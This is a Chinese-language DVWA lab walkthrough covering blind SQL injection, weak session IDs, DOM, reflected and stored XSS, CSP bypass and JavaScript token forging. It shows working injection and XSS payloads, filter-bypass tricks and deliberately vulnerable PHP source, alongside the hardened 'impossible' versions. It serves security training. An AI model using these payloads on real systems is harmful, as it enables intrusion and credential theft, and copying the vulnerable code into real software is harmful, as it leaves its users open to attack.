输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='user_name')=1 #
输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='u_name')=1 #
输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='uname')=1 #
输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='user')=1 #
users表中存在字段user
输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='password')=1 #
users表中存在字段password
5.获取表中的字段值
1.用户名的字段值
1' and length(substr((select user from users limit 0,1),1))>10 #
1' and length(substr((select user from users limit 0,1),1))>5 #
1' and length(substr((select user from users limit 0,1),1))>3 #
1' and length(substr((select user from users limit 0,1),1))=4 #
1' and length(substr((select user from users limit 0,1),1))=5 #
user字段中第1个字段值的字符长度=5
2.密码的字段值
1' and length(substr((select password from users limit 0,1),1))>10 #
1' and length(substr((select password from users limit 0,1),1))>20 #
1' and length(substr((select password from users limit 0,1),1))>40 #
1' and length(substr((select password from users limit 0,1),1))>30 #
1' and length(substr((select password from users limit 0,1),1))>35 #
1' and length(substr((select password from users limit 0,1),1))>33 #
1' and length(substr((select password from users limit 0,1),1))=32 #
password字段中第1个字段值的字符长度=32
输入1' and substr((select user from users limit 0,1),1)='admin'#
1' and (select count(*)from users where user='admin')=1#
输入1' and (select count(*)from users where user='admin123')=1#
输入1' and (select count(*)from users where user='root')=1#
user字段的第1组取值为admin
输入1' and (select count(*)from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1#
输入1' and (select count(*)from users where user='admin' and password='e10adc3949ba59abbe56e0571201883e')=1#
user---password字段的第1组取值:admin---password
6.验证字段值的有效性
将以上admin---password填写到登陆界面中,尝试登陆是否成功
登陆成功
medium
存在数字型的SQL盲注漏洞
对特殊符号进行了转义处理,所以对于带有引号包含字符串的字段值,可以转换成16进制的形式进行绕过限制,从而提交到数据库进行查询
如:猜解表中的字段名时,猜解字段名的长度(对字段值users进行16进制转换为0x7573657273)
输入1 and if(length(database())=4,sleep(2),1)#
输入1 and if(length(database())=5,sleep(2),1)#
输入1 and if(length(database())>10,sleep(2),1)#
根据响应时间的差异,可知当前连接数据库名称的字符长度=4,此时确实执行了sleep(2)函数,使得响应时间比正常响应延迟2s
输入1 and if(ascii(substr(database(),1,1))>88,sleep(2),1)#
输入1 and if(ascii(substr(database(),1,1))>105,sleep(2),1)#
输入1 and if(ascii(substr(database(),1,1))>96,sleep(2),1)#
输入1 and if(ascii(substr(database(),1,1))>101,sleep(2),1)#
输入1 and if(ascii(substr(database(),1,1))>99,sleep(2),1)#
输入1 and if(ascii(substr(database(),1,1))=101,sleep(2),1)#
输入1 and if(ascii(substr(database(),1,1))=100,sleep(2),1)#
当前连接数据库名称的第1个字符的ASCII码为100,对应字母为d
类似以上操作,分别猜解第2/3/4位元素的字符:
输入1' and ascii(substr(database(),2,1))>88 #
第二位字符为v
输入1' and ascii(substr(database(),3,1))>88 #
第三位字符为w
输入1' and ascii(substr(database(),4,1))>88 #
第三位字符为a
从而获得到当前连接数据库的名称为:dvwa
输入1 and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
high
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
//limit限制查询只能为1条
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
//返回MISSING时,会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
high模式和low模式相同
一.判断是否存在注入,注入的类型
1.输入1
2.输入'
3.输入1 and 1=1#
4.输入1 and 1=2#
5.输入1' and 1=1#
6.输入1' and 1=2#
对于LIMIT 1的限制输出记录数目,可以利用#注释其限制;服务端可能会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试
impossible
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
//使用token机制
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
//对输入的id进行是否为数字的判断
if(is_numeric( $id )) {
// Check the database
//使用limit对查询的结果进行限制
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
//使用PDO
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
l impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
l 只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
l 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
l Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过
Weak Session IDs(Low)弱会话ID
Low
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
//服务器每次生成的session_id加1给客户端
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
点Generate,抓包
退出用户,再登录,点Generate,抓包
试了八次,每次都是加1,这样的话,dvwaSession为验证用户身份的,就可以通过这种方式来越权
如果用户 SESSION中的 last_session_id 不存在就设为 0,如果dvwaSession存在就加一,这样肯定会造成session不是唯一,引发冲突。
代码cookie产生策略是:在上一个cookie值的基础上加一。当用户访问服务器的时候,Low级别的代码会先检查服务器是否存在名称为"last_session_id"的session,如果存在,取出其值,自加一后赋值给名称为"dvwaSession"的cookie。
http://dvwa/vulnerabilities/weak_id/
dvwaSession=9; PHPSESSID=dkdi2mb2reavnghr49bhois345; security=low
选择cookie提交方式,
提交后发现直接登录dvwa,绕过密码验证:
medium
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
//返回当前时间的 Unix 时间戳,并格式化为日期:
time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数
setcookie("dvwaSession", $cookie_value);
}
?>
点Generate,多抓几个包
使用时间戳在线查询工具就可以伪造啦
https://tool.lu/timestamp/
high
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
//setcookie(name,value,expire,path,domain,secure,httponly)
参数 描述
name 必需。规定cookie的名称。
value 必需。规定cookie的值。
expire 可选。规定cookie的有效期。
path 可选。规定cookie的服务器路径。
domain 可选。规定cookie的域名。
secure 可选。规定是否通过安全的HTTPS连接来传输cookie。
httponly 可选。规定是否Cookie仅可通过HTTP协议访问。
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
抓包
重放,发现服务器颁发的sessionID
复制c4ca4238a0b923820dcc509a6f75849b,使用md5解密
https://www.cmd5.com/
其实就是在Low的级别上md5加密
impossible
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
//随机数+时间戳+固定字符串"Impossible",再进行sha1运算
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>
破解复杂
DOM Based Cross Site Scripting (XSS)DOM型跨站脚本攻击
原理::DOM—based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
Dom型XSS常见三种状态:
1.Document.write 在页面上面写内容
2.innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML
3.eval 把字符串当代码执行
XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。
DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
可能触发DOM型XSS的属性:
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
Low
查看源代码,发现没有任何的固定和保护措施
<?php
# No protections, anything goes
?>
直接在URL中输入/xss_d/?default=<script>alert(/XSS/)</script>
medium
<?php
// Is there any input?
// array_key_exists()检查键是否存在
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
提示:如果指定数组的时候省略了键名,将会生成从 0 开始并以 1 递增的整数键名
array_key_exists(key,array)
key 必需 规定键名。
array 必需。规定数组
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not alLow script tags
//过滤<script,含scriipt的就不可以
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
stripos(string,find,start)
string 必需 规定被搜索的字符串。
find 必需 规定要查找的字符。
start 可选 规定开始搜索的位置。
返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释:字符串位置从 0 开始,不是从 1 开始。
if (stripos ($default, "<script") !== false) {
//如果参数不含<script
header() 函数向客户端发送原始的 HTTP 报头
header(string,replace,http_response_code)
string 必需 规定要发送的报头字符串。
replace 可选 指示该报头是否替换之前的报头,或添加第二个报头。
默认是 true(替换)。false(允许相同类型的多个报头)。
http_response_code可选 把 HTTP 响应代码强制为指定的值。(PHP 4 以及更高版本可用)
header ("location: ?default=English");
exit;
}
}
?>
输入default=#default<script>alert(/XSS/)</script>
high
<
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the alLowable languages
//白名单,只允许French、English、German、Spanish
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
输入?default=English#<script>alert(/XSS/)</script>
impossible
观察页面源码
if (document.location.href.indexOf(“default=”) >= 0) { var lang = document.location.href.substring(document.location.href.indexOf(“default=”)+8); document.write("" + (lang)+ “”); document.write("----");}
可以发现这里对我们输入的参数(lang)并没有进行URL解码,而在其他级别中是有解码过程的decodeURI(lang)。所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。
Reflected Cross Site Scripting (XSS)
原理:跨站脚本攻击(XSS),使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的
反射型XSS是非持久性、参数型的跨站脚本。代码在Web应用参数中,例如搜索框的反射型XSS。
注意,反射型XSS代码出现在keyword参数中。但是容易被发现,导致很多漏洞提交平台不接收反射型XSS漏洞。
反射型Xss <全称跨站脚本攻击,是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中
其实反射型和DOM型的XSS差别主要在于,反射型是会往后台服务器发送请求,而DOM型直接在前端进行解析;两者都是一次性的
Low
可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
// arrary_key_exists()函数:判断$_GET的值中是否存在“name”键名。并且$_GET[‘name’]的值是否不为空,满足这些条件,直接输出下面的输出语句。
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
输入<script>alert(‘XSS’)</script>点击提交,弹窗成功
medium
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
//将输入中的<script>转化为空
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
通过双写进行输入<scr<script>ipt>alert('XSS')</script>
大小写混淆
输入<sCript>alert('XSS')</script>
弹窗成功
high
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
//使用通配符,完全匹配script*N,所以有关script的标签全被过滤
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到,high级别的代码使用了正则表达式直接把 <*s*c*r*i*p*t 给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。所以,我们的<script>标签在这里就不能用了。但是我们可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。
我们输入 <img src=1 οnerrοr=alert('hack')>
上面输入的意思是,当图片显示错误时,然后执行 alert('hack') ,这里我们的src=1肯定显示错误啊,所以就执行 alert语句
可以看到,我们的代码执行了
impossible
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
//转码
& (和号) 成为 &
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
htmlspecialchars(string): 把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素
可以看出,impossible级别的代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击。然后再用htmlspecialchars函数将name中的预定义字符转换成html实体,这样就防止了我们填入标签
当我们输入 <script>alert('hack')</script> 时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且${name}取的是$name的值,然后包围在<pre></pre>标签中被打印出来,所以我们插入的语句并不会被执行。
Stored Cross Site Scripting (XSS)
攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。
存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
Low
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
// trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
// stripslashes(string)
函数删除字符串中的反斜杠。
$message = stripslashes( $message );
// mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
查看源代码,发现message 有对于 空格的过滤,以及script的删除
name有对于页数字符的过滤
message 的过滤对于sql还有用,对于xss 基本无用
直接写入下面的script就可以绕过
输入<script>alert(/xss/)</script>
medium
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
// strip_tags() 函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签
// addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
addslashes(string) :函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ' 、" 、\ 、NULL
strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars(string): 把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素
当我们再次输入1 和 <script>alert(666)</script> ,strip_tags函数把<script>标签给剥除了,addslashes函数把 ' 转义成了 \'
由于Message进行了htmlspecialchars处理,所以在Messgae中输入<script>alert(1)</script>只会显示alert(1),但只对Name进行了简单的过滤,因此可以从Name中进行双写绕过或大小写绕过攻击,但Name对字数进行了限制,所以只能抓包再攻击。
Burpsuite抓包改name参数为:<img src=1 onerror=alert(/name/)>
最终弹框
或者用双写绕过
抓包修改name
high
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
可以看到,high级别只是在medium级别上,name参数用了正则表达式进行过滤而已,我们仍然可以在name参数做手脚,抓包,然后改包,只不过这次改成 <img src=1 οnerrοr=alert('hack')>
我们输入如下的
抓包
修改name为
<img src=1 οnerrοr=alert('1')>
impossible
Content Security Policy (CSP) Bypass
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行
内容安全策略绕过
HTTP Content-Security-Policy(CSP)即内容安全策略,script-src指令指定 JavaScript 的有效来源。这不仅包括直接加载到<script>元素中的URL ,还包括可以触发脚本执行的内联脚本事件处理程序 ( onclick) 和XSLT 样式表。
<script src作用
有时,我们需要在网站的多个页面中运行 JavaScript。不需要重复编写相同的脚本,只需在单独的文件中创建 JavaScript,并以 .js 为后缀保存,然后使用 <script> 标签中的 src 属性引用该文件即可
js属于脚本文件,是由脚本代码组成的。其实把正常的标记之间的代码剪切到新文件中就是一个js文件了,然后把文件名放到script的src属性就行了。
内容安全策略(CSP)使服务器管理员可以通过指定浏览器应认为是可执行脚本的有效源的域来减少或消除XSS可能发生的向量。然后,兼容CSP的浏览器将仅执行从这些允许列出的域接收的源文件中加载的脚本,忽略所有其他脚本(包括内联脚本和事件处理HTML属性)。
除了限制可以从中加载内容的域之外,服务器还可以指定允许使用哪些协议; 例如(理想情况下,从安全角度来看),服务器可以指定必须使用HTTPS加载所有内容。完整的数据传输安全策略不仅包括强制HTTPS进行数据传输,还包括使用安全标记标记所有cookie,并提供从HTTP页面到其HTTPS对应项的自动重定向。站点还可以使用Strict-Transport-SecurityHTTP标头来确保浏览器仅通过加密通道连接到它们。
两种方法可以启用 CSP。
一种是通过 HTTP 头信息的Content-Security-Policy的字段。
一种是通过网页的<meta>标签
Low
<?php
//script-src脚本:'self'只信任当前域名
//信任https://pastebin.com 、example.com code.jquery.com、//https://ssl.google-analytics.com
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // alLows js from self, pastebin.com, jquery and google analytics.
header($headerCSP);
# https://pastebin.com/raw/R570EE00
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
从代码中分析,可知,该输入框是信任
https://pastebin.com
访问一下看看
可以在New Paste中写下代码,点击create去创建链接
点击raw形式(原生)来显示,
复制生成的js代码链接
https://pastebin.com/raw/AFm5Ptmkhttps://pastebin.com/raw/aPZQGjAqhttps://pastebin.com/raw/AFm5Ptmk
medium
<?php
//增加了nonce
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
//如果脚本(例如<script nonce="r@nd0m">:)标记包含与CSP标头中指定的随机数匹配的随机数属性,则允许执行内联脚本或CSS 。随机数应为安全的随机字符串,并且不应重复使用。
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
输入<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=" > alert('wjk')</script>
成功弹窗
high
vulnerabilities/csp/source/high.php
<?php
// script-src 'self';, 只允许本界面加载的 javascript 执行
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
利用callback参数,Post
<script src="source/jsonp.php?callback=alert('1');"></script>
impossible
JavaScript Attacks
原理:JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的
代码审计:中间那一大团使用了 md5 加密生成了 token,和之前的源码不同在于这次 token 是在前端生成的。generate_token() 函数的作用是获取 “phrase” 参数中的值,将其的 rot13 加密的结果进行 md5 加密作为 token 的值
Low
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
//省略一些函数
。。。
function generate_token() {
//id为phrase就是input输入框中的值,将该值md5加密后,作为token进行验证
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
</script>
EOF;
?>
提示输入success
token不正确
查看页面源代码
发现token的值是md5(rot13(phrase))
https://www.jisuan.mobi/puzzm6z1B1HH6yXW.html
rot13(success)
ebg13(fhpprff)
md5(fhpprff)
https://www.107000.com/T-Md5
token的值,就是下面四种情况一个一个试吧
最后试出来是32位小写
38581812B435834EBF84EBCC2C6424D6
抓包
修改前两个参数的值
token=38581812b435834ebf84ebcc2c6424d6&phrase=success&send=Submit
medium
vulnerabilities/javascript/source/medium.js
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
setTimeout(function () {
do_elsesomething("XX")
}, 300);
function do_elsesomething(e) {
document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}
看代码的逻辑,token为
alert(do_something(“XX”+‘success’+“XX”));
先输入success抓包
修改token的值
high
vulnerabilities/javascript/source/high.js关键代码
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
输入框输入
success
在Console执行
token_part_1(“ABCD”, 44)
token_part_2(“XX”)
提交